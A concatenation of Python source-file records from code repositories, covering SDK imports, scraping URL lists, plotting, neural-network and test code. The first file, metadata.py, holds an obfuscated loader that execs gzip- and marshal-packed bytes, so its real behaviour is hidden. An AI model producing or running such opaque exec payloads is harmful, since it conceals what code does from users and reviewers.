e2deb2a562162f4b3b824d87c971089d170edc57 | 143,466 | py | Python | metadata.py | RazorKenway/Meta-Data | ffa29321c3f61a65f8f013a2147ffdd34495d4cf | [
"Apache-2.0"
] | 32 | 2021-01-02T02:47:53.000Z | 2021-11-18T08:51:08.000Z | metadata.py | RazorKenway/Meta_Data | ffa29321c3f61a65f8f013a2147ffdd34495d4cf | [
"Apache-2.0"
] | null | null | null | metadata.py | RazorKenway/Meta_Data | ffa29321c3f61a65f8f013a2147ffdd34495d4cf | [
"Apache-2.0"
] | 3 | 2021-01-02T21:11:34.000Z | 2021-09-30T21:20:42.000Z | #ENCODE BY CRYPTO
#YOU CAN TRY THIS DECODE GOD BLESS
import gzip,marshal,zlib,base64,binascii,lzma
try:
exec(gzip.decompress(marshal.loads(b's\x03\xc4\x00\x00\x1f\x8b\x08\x00?taa\x02\xff\xa4}Y_\x14\xcd\xb3\xf4\xfd\xf9\x14 \x8b\x8a\x08\xbdLwW+\xc8\xa2 \xbb" \n#\xd8\xd5]\xed\xc6\x0e"(\xfa\xd9\xdf\x89\xa8(\xc7\xff9\xe7... | 13,042.363636 | 143,307 | 0.734899 | 32,923 | 143,466 | 3.196003 | 0.182608 | 0.000342 | 0.000171 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.230801 | 0.001394 | 143,466 | 11 | 143,308 | 13,042.363636 | 0.503651 | 0.000342 | 0 | 0 | 0 | 26.2 | 0.650653 | 0.647982 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.2 | 0 | 0.2 | 0.2 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
3901693d5091ac79bfbb12eac3358875a47cdff7 | 324 | py | Python | bitmovin_api_sdk/encoding/encodings/muxings/fmp4/drm/speke/__init__.py | jaythecaesarean/bitmovin-api-sdk-python | 48166511fcb9082041c552ace55a9b66cc59b794 | [
"MIT"
] | 11 | 2019-07-03T10:41:16.000Z | 2022-02-25T21:48:06.000Z | bitmovin_api_sdk/encoding/encodings/muxings/fmp4/drm/speke/__init__.py | jaythecaesarean/bitmovin-api-sdk-python | 48166511fcb9082041c552ace55a9b66cc59b794 | [
"MIT"
] | 8 | 2019-11-23T00:01:25.000Z | 2021-04-29T12:30:31.000Z | bitmovin_api_sdk/encoding/encodings/muxings/fmp4/drm/speke/__init__.py | jaythecaesarean/bitmovin-api-sdk-python | 48166511fcb9082041c552ace55a9b66cc59b794 | [
"MIT"
] | 13 | 2020-01-02T14:58:18.000Z | 2022-03-26T12:10:30.000Z | from bitmovin_api_sdk.encoding.encodings.muxings.fmp4.drm.speke.speke_api import SpekeApi
from bitmovin_api_sdk.encoding.encodings.muxings.fmp4.drm.speke.customdata.customdata_api import CustomdataApi
from bitmovin_api_sdk.encoding.encodings.muxings.fmp4.drm.speke.speke_drm_list_query_params import SpekeDrmListQueryPar... | 81 | 122 | 0.895062 | 46 | 324 | 6.043478 | 0.391304 | 0.129496 | 0.161871 | 0.194245 | 0.618705 | 0.618705 | 0.618705 | 0.618705 | 0.618705 | 0.618705 | 0 | 0.009615 | 0.037037 | 324 | 3 | 123 | 108 | 0.88141 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
390738ae37e991c350163d00914e427d2ea38e7a | 984,221 | py | Python | page_urls_all.py | sitgang/Dianping-Spider | b3bfef5293404a81d82e757caa312f874c87a578 | [
"MIT"
] | 1 | 2019-05-24T04:05:07.000Z | 2019-05-24T04:05:07.000Z | page_urls_all.py | EthanXue301/dianping_spider | 560d2975d7f0fdc14d08b6083910aaf2c8852b83 | [
"MIT"
] | null | null | null | page_urls_all.py | EthanXue301/dianping_spider | 560d2975d7f0fdc14d08b6083910aaf2c8852b83 | [
"MIT"
] | null | null | null | ["https://www.dianping.com/search/category/2/10/g110r2580", "https://www.dianping.com/search/category/2/10/g110r2580p2", "https://www.dianping.com/search/category/2/10/g110r2580p3", "https://www.dianping.com/search/category/2/10/g110r2580p4", "https://www.dianping.com/search/category/2/10/g132r2580", "https://www.dianp... | 984,221 | 984,221 | 0.765794 | 148,185 | 984,221 | 5.086284 | 0.056038 | 0.174762 | 0.349524 | 0.41506 | 0.992439 | 0.992439 | 0.992439 | 0.992439 | 0.968366 | 0.968366 | 0 | 0.176453 | 0.016728 | 984,221 | 1 | 984,221 | 984,221 | 0.602369 | 0 | 0 | 0 | 0 | 0 | 0.933083 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 13 |
390a102171ef2f635f613ee7ad95a1354ca2211b | 4,766 | py | Python | pyparsvd/postprocessing.py | AImperium/PyParSVD | 4c338ff3cedd07d5107ee4285df9ce0ae6137f00 | [
"MIT"
] | 30 | 2021-02-25T19:25:21.000Z | 2022-03-07T01:43:54.000Z | pyparsvd/postprocessing.py | AImperium/PyParSVD | 4c338ff3cedd07d5107ee4285df9ce0ae6137f00 | [
"MIT"
] | 1 | 2021-09-12T21:26:03.000Z | 2021-09-29T14:00:31.000Z | pyparsvd/postprocessing.py | AImperium/PyParSVD | 4c338ff3cedd07d5107ee4285df9ce0ae6137f00 | [
"MIT"
] | 10 | 2021-02-25T21:33:15.000Z | 2022-03-06T13:08:30.000Z | import os
import numpy as np
import matplotlib.pyplot as plt
def plot_singular_values(
singular_values, title="", figsize=(12,8),
path="CWD", filename=None, rank=None):
"""
Plots singular values of the SVD decomposition.
:param ndarray singular_values: singular values.
:param str title: if specified, title o... | 29.7875 | 88 | 0.66303 | 747 | 4,766 | 4.147256 | 0.137885 | 0.030988 | 0.027114 | 0.034861 | 0.890575 | 0.886056 | 0.860555 | 0.82634 | 0.82634 | 0.82634 | 0 | 0.014184 | 0.201217 | 4,766 | 159 | 89 | 29.974843 | 0.79958 | 0.397188 | 0 | 0.766667 | 0 | 0 | 0.044551 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.033333 | false | 0 | 0.033333 | 0 | 0.066667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
3937cddf1f5ac286850f8e9ca3f54bf89b9ae50f | 1,784 | py | Python | grid_wrangling/lamella_wrangling.py | CMSM-VCU/tools | d8e0fe7d15aba24cd02afcd561c013311859d75a | [
"MIT"
] | null | null | null | grid_wrangling/lamella_wrangling.py | CMSM-VCU/tools | d8e0fe7d15aba24cd02afcd561c013311859d75a | [
"MIT"
] | null | null | null | grid_wrangling/lamella_wrangling.py | CMSM-VCU/tools | d8e0fe7d15aba24cd02afcd561c013311859d75a | [
"MIT"
] | null | null | null | lower = list(range(3,21,1))
upper = list(range(21,39,1))
output = ""
count = 0
for i in range(len(lower)):
for j in range(len(lower)):
if j != i and j != i-1 and j != i+1:
count += 1
output += "\t" + str(lower[i]) + "\t" + str(lower[j]) + "\n"
for i in range(len(upper)):
for ... | 33.660377 | 85 | 0.501682 | 255 | 1,784 | 3.321569 | 0.113725 | 0.028335 | 0.212515 | 0.153483 | 0.865407 | 0.820543 | 0.729634 | 0.729634 | 0.654073 | 0.654073 | 0 | 0.042386 | 0.285874 | 1,784 | 52 | 86 | 34.307692 | 0.622449 | 0 | 0 | 0.511628 | 0 | 0 | 0.211883 | 0.151345 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.581395 | 0 | 0 | 0 | null | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 7 |
39508475350f53d709e573343ef20064c661d9e1 | 8,659 | py | Python | pysit/solvers/constant_density_acoustic/time/scalar/constant_density_acoustic_time_scalar_cpp.py | zfang-slim/pysit | 8fca42b9749841abc302d1f8195a1437fad7ae4d | [
"BSD-3-Clause"
] | 64 | 2015-09-08T06:23:27.000Z | 2022-03-09T23:35:24.000Z | pysit/solvers/constant_density_acoustic/time/scalar/constant_density_acoustic_time_scalar_cpp.py | zfang-slim/pysit | 8fca42b9749841abc302d1f8195a1437fad7ae4d | [
"BSD-3-Clause"
] | 23 | 2015-10-08T01:14:24.000Z | 2021-07-15T11:37:05.000Z | pysit/solvers/constant_density_acoustic/time/scalar/constant_density_acoustic_time_scalar_cpp.py | zfang-slim/pysit | 8fca42b9749841abc302d1f8195a1437fad7ae4d | [
"BSD-3-Clause"
] | 48 | 2015-06-25T14:48:22.000Z | 2021-12-06T19:50:25.000Z | # This file was automatically generated by SWIG (http://www.swig.org).
# Version 3.0.12
#
# Do not make changes to this file unless you know what you are doing--modify
# the SWIG interface file instead.
from sys import version_info as _swig_python_version_info
if _swig_python_version_info >= (2, 7, 0):
def swig_im... | 50.052023 | 136 | 0.832429 | 1,199 | 8,659 | 5.313595 | 0.112594 | 0.275467 | 0.422383 | 0.495841 | 0.8027 | 0.786062 | 0.780411 | 0.629728 | 0.495056 | 0.495056 | 0 | 0.020961 | 0.112946 | 8,659 | 172 | 137 | 50.343023 | 0.808488 | 0.034069 | 0 | 0.231343 | 1 | 0 | 0.034235 | 0.02011 | 0 | 0 | 0 | 0 | 0 | 1 | 0.179104 | false | 0.014925 | 0.141791 | 0.141791 | 0.544776 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 9 |
1a6152740f4c2e50b3b8428f25d9846f7f6bba95 | 16,578 | py | Python | models_dense.py | LiLee1/High_Capacity_Complex_Networks | bd365261c303ef6cb704852814be862bc63230e7 | [
"MIT"
] | 6 | 2021-02-03T01:41:31.000Z | 2022-01-07T15:15:26.000Z | models_dense.py | LiLee1/High_Capacity_Complex_Networks | bd365261c303ef6cb704852814be862bc63230e7 | [
"MIT"
] | null | null | null | models_dense.py | LiLee1/High_Capacity_Complex_Networks | bd365261c303ef6cb704852814be862bc63230e7 | [
"MIT"
] | 3 | 2020-11-12T06:41:17.000Z | 2021-02-03T01:41:32.000Z | """
# Author
Jakob Krzyston (jakobk@gatech.edu)
# Purpose
Build DenseNet architecture for I/Q modulation classification
Code adapted from original Pytorch DenseNet code (https://github.com/pytorch/vision/blob/master/torchvision/models/densenet.py)
"""
import torch
import torch.nn as nn
import torch.nn.functional as F
... | 40.732187 | 127 | 0.606527 | 2,027 | 16,578 | 4.72965 | 0.128268 | 0.032335 | 0.031188 | 0.016689 | 0.901951 | 0.890998 | 0.881298 | 0.877543 | 0.856159 | 0.856159 | 0 | 0.024931 | 0.28381 | 16,578 | 407 | 128 | 40.732187 | 0.782532 | 0.177343 | 0 | 0.758007 | 0 | 0 | 0.023717 | 0 | 0 | 0 | 0 | 0.002457 | 0 | 1 | 0.117438 | false | 0.014235 | 0.024911 | 0.007117 | 0.259786 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
2030f9813f1aa3eebb37923181df798d41cb63d6 | 73,054 | py | Python | hifive/plotting.py | bxlab/hifive | 317d2dc98bdfb13ed4d528f718b9492f7c12aabd | [
"MIT"
] | 27 | 2015-05-08T14:51:37.000Z | 2021-09-07T02:38:55.000Z | hifive/plotting.py | bxlab/hifive | 317d2dc98bdfb13ed4d528f718b9492f7c12aabd | [
"MIT"
] | 16 | 2015-10-21T07:32:36.000Z | 2021-05-18T01:12:00.000Z | hifive/plotting.py | bxlab/hifive | 317d2dc98bdfb13ed4d528f718b9492f7c12aabd | [
"MIT"
] | 9 | 2015-05-13T17:28:06.000Z | 2021-09-07T02:38:56.000Z | #!/usr/bin/env python
"""
This is a module contains scripts for generating plots from compact and full matrices of interaction data.
Concepts
----------
These functions take either compact, upper-triangle, or full 3d data matrices.
Data can either be arranged in compact, upper-triangle, or complete (rectangular) ar... | 57.162754 | 628 | 0.595997 | 10,998 | 73,054 | 3.900709 | 0.035825 | 0.01049 | 0.026154 | 0.028531 | 0.893147 | 0.887879 | 0.878135 | 0.872028 | 0.857809 | 0.844289 | 0 | 0.06465 | 0.249199 | 73,054 | 1,277 | 629 | 57.207518 | 0.717497 | 0.265639 | 0 | 0.772358 | 0 | 0 | 0.044993 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.010163 | false | 0.002033 | 0.006098 | 0 | 0.04878 | 0.033537 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
6445a7a741b21c60300d654240be1ebddc6e5d81 | 15 | py | Python | my_demo.py | slott56/pivot-to-python | 695e610333b6294432306ed5ac5ea39bd5555df7 | [
"MIT"
] | null | null | null | my_demo.py | slott56/pivot-to-python | 695e610333b6294432306ed5ac5ea39bd5555df7 | [
"MIT"
] | null | null | null | my_demo.py | slott56/pivot-to-python | 695e610333b6294432306ed5ac5ea39bd5555df7 | [
"MIT"
] | null | null | null | print(355/113)
| 7.5 | 14 | 0.733333 | 3 | 15 | 3.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.428571 | 0.066667 | 15 | 1 | 15 | 15 | 0.357143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 7 |
648f20c00f7c44c2d05c1c2132ceff645624d98a | 69 | py | Python | api/__init__.py | r3d83ard/assemblyline_ | 6d191f9e465c10da40879799e00edaa3fc12d303 | [
"MIT"
] | 2 | 2019-05-22T15:02:02.000Z | 2019-07-10T21:29:51.000Z | api/__init__.py | r3d83ard/assemblyline_daily_sample | 6d191f9e465c10da40879799e00edaa3fc12d303 | [
"MIT"
] | null | null | null | api/__init__.py | r3d83ard/assemblyline_daily_sample | 6d191f9e465c10da40879799e00edaa3fc12d303 | [
"MIT"
] | null | null | null | from . import malshr_api
from . import vti_api
from . import otx_api
| 17.25 | 24 | 0.782609 | 12 | 69 | 4.25 | 0.5 | 0.588235 | 0.509804 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.173913 | 69 | 3 | 25 | 23 | 0.894737 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
64b9c3d61afaee8ae19c94cce63b1091fa2b657a | 89,262 | py | Python | iclientpy/test/rest/api/test_spatialanalyst.py | SuperMap/iClientPython | 5e741c1efda9b12d321909428bd5c95e22482ea7 | [
"Apache-2.0"
] | 28 | 2018-04-19T07:11:34.000Z | 2022-02-24T08:31:08.000Z | iclientpy/test/rest/api/test_spatialanalyst.py | SuperMap/iClientPython | 5e741c1efda9b12d321909428bd5c95e22482ea7 | [
"Apache-2.0"
] | 3 | 2019-05-06T07:58:45.000Z | 2020-11-18T21:16:38.000Z | iclientpy/test/rest/api/test_spatialanalyst.py | SuperMap/iClientPython | 5e741c1efda9b12d321909428bd5c95e22482ea7 | [
"Apache-2.0"
] | 8 | 2018-06-14T02:29:53.000Z | 2020-11-03T01:36:35.000Z | import httpretty
from iclientpy.rest.api.distributedanalyst import DistributedAnalyst
from iclientpy.rest.apifactory import APIFactory
from iclientpy.rest.decorator import HttpMethod
from iclientpy.rest.api.model import *
from .abstractrest import AbstractRESTTestCase
class SpatialAnalystTestCase(AbstractRE... | 238.668449 | 15,209 | 0.729056 | 9,423 | 89,262 | 6.81386 | 0.111005 | 0.014344 | 0.100924 | 0.065133 | 0.803152 | 0.75811 | 0.737661 | 0.716962 | 0.711215 | 0.709938 | 0 | 0.169005 | 0.067195 | 89,262 | 373 | 15,210 | 239.308311 | 0.602121 | 0 | 0 | 0.544444 | 0 | 0.055556 | 0.790019 | 0.464759 | 0 | 0 | 0 | 0 | 0 | 1 | 0.030556 | false | 0.019444 | 0.016667 | 0 | 0.05 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
b3dd2313737021cc7de709b7886d5f52a31f6b20 | 37 | py | Python | src/lib/xml/etree/__init__.py | DTenore/skulpt | 098d20acfb088d6db85535132c324b7ac2f2d212 | [
"MIT"
] | 2,671 | 2015-01-03T08:23:25.000Z | 2022-03-31T06:15:48.000Z | src/lib/xml/etree/__init__.py | wakeupmuyunhe/skulpt | a8fb11a80fb6d7c016bab5dfe3712517a350b347 | [
"MIT"
] | 972 | 2015-01-05T08:11:00.000Z | 2022-03-29T13:47:15.000Z | src/lib/xml/etree/__init__.py | wakeupmuyunhe/skulpt | a8fb11a80fb6d7c016bab5dfe3712517a350b347 | [
"MIT"
] | 845 | 2015-01-03T19:53:36.000Z | 2022-03-29T18:34:22.000Z | import _sk_fail; _sk_fail._("etree")
| 18.5 | 36 | 0.756757 | 6 | 37 | 3.833333 | 0.666667 | 0.521739 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.081081 | 37 | 1 | 37 | 37 | 0.676471 | 0 | 0 | 0 | 0 | 0 | 0.135135 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
373f8dbb3855d995609e13fa81900fc8feeec65c | 169 | py | Python | src/__init__.py | aksmit94/databass-akshat | 1d468b52d793d69b199abe51233001e80d3e9300 | [
"MIT"
] | 4 | 2018-08-15T03:50:40.000Z | 2019-11-06T20:45:30.000Z | src/__init__.py | aksmit94/databass-akshat | 1d468b52d793d69b199abe51233001e80d3e9300 | [
"MIT"
] | null | null | null | src/__init__.py | aksmit94/databass-akshat | 1d468b52d793d69b199abe51233001e80d3e9300 | [
"MIT"
] | 23 | 2018-08-15T03:14:42.000Z | 2019-04-28T03:01:13.000Z | from db import *
from interpretor import *
from ops import *
from optimizer import *
from parse_expr import parse as parse_expr
from parse_sql import parse as parse_sql
| 24.142857 | 42 | 0.810651 | 28 | 169 | 4.75 | 0.357143 | 0.300752 | 0.195489 | 0.270677 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.16568 | 169 | 6 | 43 | 28.166667 | 0.943262 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
37ba5785468a04a8d9a7a8c04978b1488a0c365e | 7,215 | py | Python | intervention/collect.py | tomcur/intervention | f8c647819fe6abe0f3972e669d2f7d155f275d55 | [
"MIT"
] | 4 | 2021-01-12T04:42:03.000Z | 2022-01-07T07:42:30.000Z | intervention/collect.py | Beskhue/intervention | f8c647819fe6abe0f3972e669d2f7d155f275d55 | [
"MIT"
] | null | null | null | intervention/collect.py | Beskhue/intervention | f8c647819fe6abe0f3972e669d2f7d155f275d55 | [
"MIT"
] | 1 | 2022-01-06T06:01:42.000Z | 2022-01-06T06:01:42.000Z | import csv
import os
import uuid
import zipfile
from pathlib import Path
import numpy as np
from loguru import logger
from . import data, process, run
from .utils import multiprocessing as utils_process
def collect_teacher_episode(
teacher_checkpoint: Path,
episode_dir: Path,
seed_sequence: np.random.Se... | 37 | 93 | 0.640055 | 787 | 7,215 | 5.554003 | 0.134689 | 0.087852 | 0.041181 | 0.027454 | 0.856097 | 0.816289 | 0.791352 | 0.729353 | 0.729353 | 0.729353 | 0 | 0.001724 | 0.276646 | 7,215 | 194 | 94 | 37.190722 | 0.835792 | 0.0535 | 0 | 0.754839 | 0 | 0 | 0.044875 | 0.015398 | 0 | 0 | 0 | 0 | 0 | 1 | 0.03871 | false | 0 | 0.058065 | 0 | 0.116129 | 0.025806 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
03a5099cc3241c650972f1517cb442539d2c0f7d | 15,620 | py | Python | tests/test_if_elses.py | grantps/superhelp | d8e861bf1ad91571ac23b9c833a8cd461bb1952f | [
"MIT"
] | 27 | 2020-05-17T20:48:43.000Z | 2022-01-08T21:32:30.000Z | tests/test_if_elses.py | grantps/superhelp | d8e861bf1ad91571ac23b9c833a8cd461bb1952f | [
"MIT"
] | null | null | null | tests/test_if_elses.py | grantps/superhelp | d8e861bf1ad91571ac23b9c833a8cd461bb1952f | [
"MIT"
] | null | null | null | from textwrap import dedent
from tests import check_as_expected
ROOT = 'superhelp.helpers.if_else_help.'
def test_misc():
test_conf = [
(
dedent("""\
pet = 'cat'
"""),
{
ROOT + 'if_else_overview': 0,
ROOT + 'missing_else': 0,... | 30.748031 | 125 | 0.358963 | 1,372 | 15,620 | 3.876093 | 0.09621 | 0.0912 | 0.052651 | 0.094772 | 0.892253 | 0.886612 | 0.886612 | 0.868372 | 0.864047 | 0.863294 | 0 | 0.037277 | 0.5363 | 15,620 | 507 | 126 | 30.808679 | 0.696949 | 0.027849 | 0 | 0.751004 | 0 | 0.002008 | 0.509463 | 0.088032 | 0 | 0 | 0 | 0 | 0 | 1 | 0.002008 | false | 0.072289 | 0.004016 | 0 | 0.016064 | 0.02008 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 9 |
ff1fbc32797190ef90fbb7b839f2dd754e15cb65 | 100 | py | Python | cyder/cydhcp/range/tests/all.py | ngokevin/chili | 36c354ac567471d5e36dccf9eea5096c6b02d4b9 | [
"BSD-3-Clause"
] | 2 | 2019-03-16T00:47:09.000Z | 2022-03-04T14:39:08.000Z | cyder/cydhcp/range/tests/all.py | ngokevin/chili | 36c354ac567471d5e36dccf9eea5096c6b02d4b9 | [
"BSD-3-Clause"
] | 1 | 2020-04-24T08:24:55.000Z | 2020-04-24T08:24:55.000Z | cyder/cydhcp/range/tests/all.py | ngokevin/chili | 36c354ac567471d5e36dccf9eea5096c6b02d4b9 | [
"BSD-3-Clause"
] | null | null | null | from cyder.cydhcp.range.tests.ipv4_tests import *
from cyder.cydhcp.range.tests.ipv6_tests import *
| 33.333333 | 49 | 0.82 | 16 | 100 | 5 | 0.5 | 0.225 | 0.375 | 0.5 | 0.625 | 0 | 0 | 0 | 0 | 0 | 0 | 0.021739 | 0.08 | 100 | 2 | 50 | 50 | 0.847826 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
2067ad3a6a96de3c92f8e53c036aca831cc4f992 | 276 | py | Python | convlab2/dst/comer/multiwoz/models/__init__.py | Malavikka/ConvLab-2 | f2a0d251e4fab9e36e9d9f04df6308623d2d780c | [
"Apache-2.0"
] | 339 | 2020-03-04T09:43:22.000Z | 2022-03-26T17:27:38.000Z | convlab2/dst/comer/multiwoz/models/__init__.py | Malavikka/ConvLab-2 | f2a0d251e4fab9e36e9d9f04df6308623d2d780c | [
"Apache-2.0"
] | 122 | 2020-04-12T04:19:06.000Z | 2022-03-23T14:20:57.000Z | convlab2/dst/comer/multiwoz/models/__init__.py | Malavikka/ConvLab-2 | f2a0d251e4fab9e36e9d9f04df6308623d2d780c | [
"Apache-2.0"
] | 138 | 2020-02-18T16:48:04.000Z | 2022-03-26T17:27:43.000Z | from convlab2.dst.comer.multiwoz.models.attention import *
from convlab2.dst.comer.multiwoz.models.rnn import *
from convlab2.dst.comer.multiwoz.models.seq2seq import *
from convlab2.dst.comer.multiwoz.models.loss import *
from convlab2.dst.comer.multiwoz.models.beam import * | 55.2 | 58 | 0.822464 | 40 | 276 | 5.675 | 0.3 | 0.264317 | 0.330396 | 0.440529 | 0.854626 | 0.854626 | 0.704846 | 0 | 0 | 0 | 0 | 0.023346 | 0.068841 | 276 | 5 | 59 | 55.2 | 0.859922 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 10 |
454b88b0d40bd366f5b778975da1dfddfa0e55d2 | 9,295 | py | Python | src/test/resources/python/java_interface.py | yichen88/TexasHoldemSolverJava | 744d49b060ed5eb29cc7e5b73c3dd1a3d0eaa21c | [
"MIT"
] | 495 | 2021-02-18T14:31:52.000Z | 2022-03-30T10:19:43.000Z | src/test/resources/python/java_interface.py | yichen88/TexasHoldemSolverJava | 744d49b060ed5eb29cc7e5b73c3dd1a3d0eaa21c | [
"MIT"
] | 25 | 2021-03-04T11:06:24.000Z | 2022-03-10T03:38:17.000Z | src/test/resources/python/java_interface.py | yichen88/TexasHoldemSolverJava | 744d49b060ed5eb29cc7e5b73c3dd1a3d0eaa21c | [
"MIT"
] | 111 | 2021-02-21T20:27:17.000Z | 2022-03-30T01:37:07.000Z | from jpype import *
import yaml
import numpy as np
import sys
sys.path.append("resources")
from python.TreeBuilder import *
import unittest
startJVM(getDefaultJVMPath(), "-ea", "-Djava.class.path=%s" % "./RiverSolver.jar")
PokerSolver = JClass('icybee.solver.runtime.PokerSolver')
class TestSolver(unittest.TestCase):
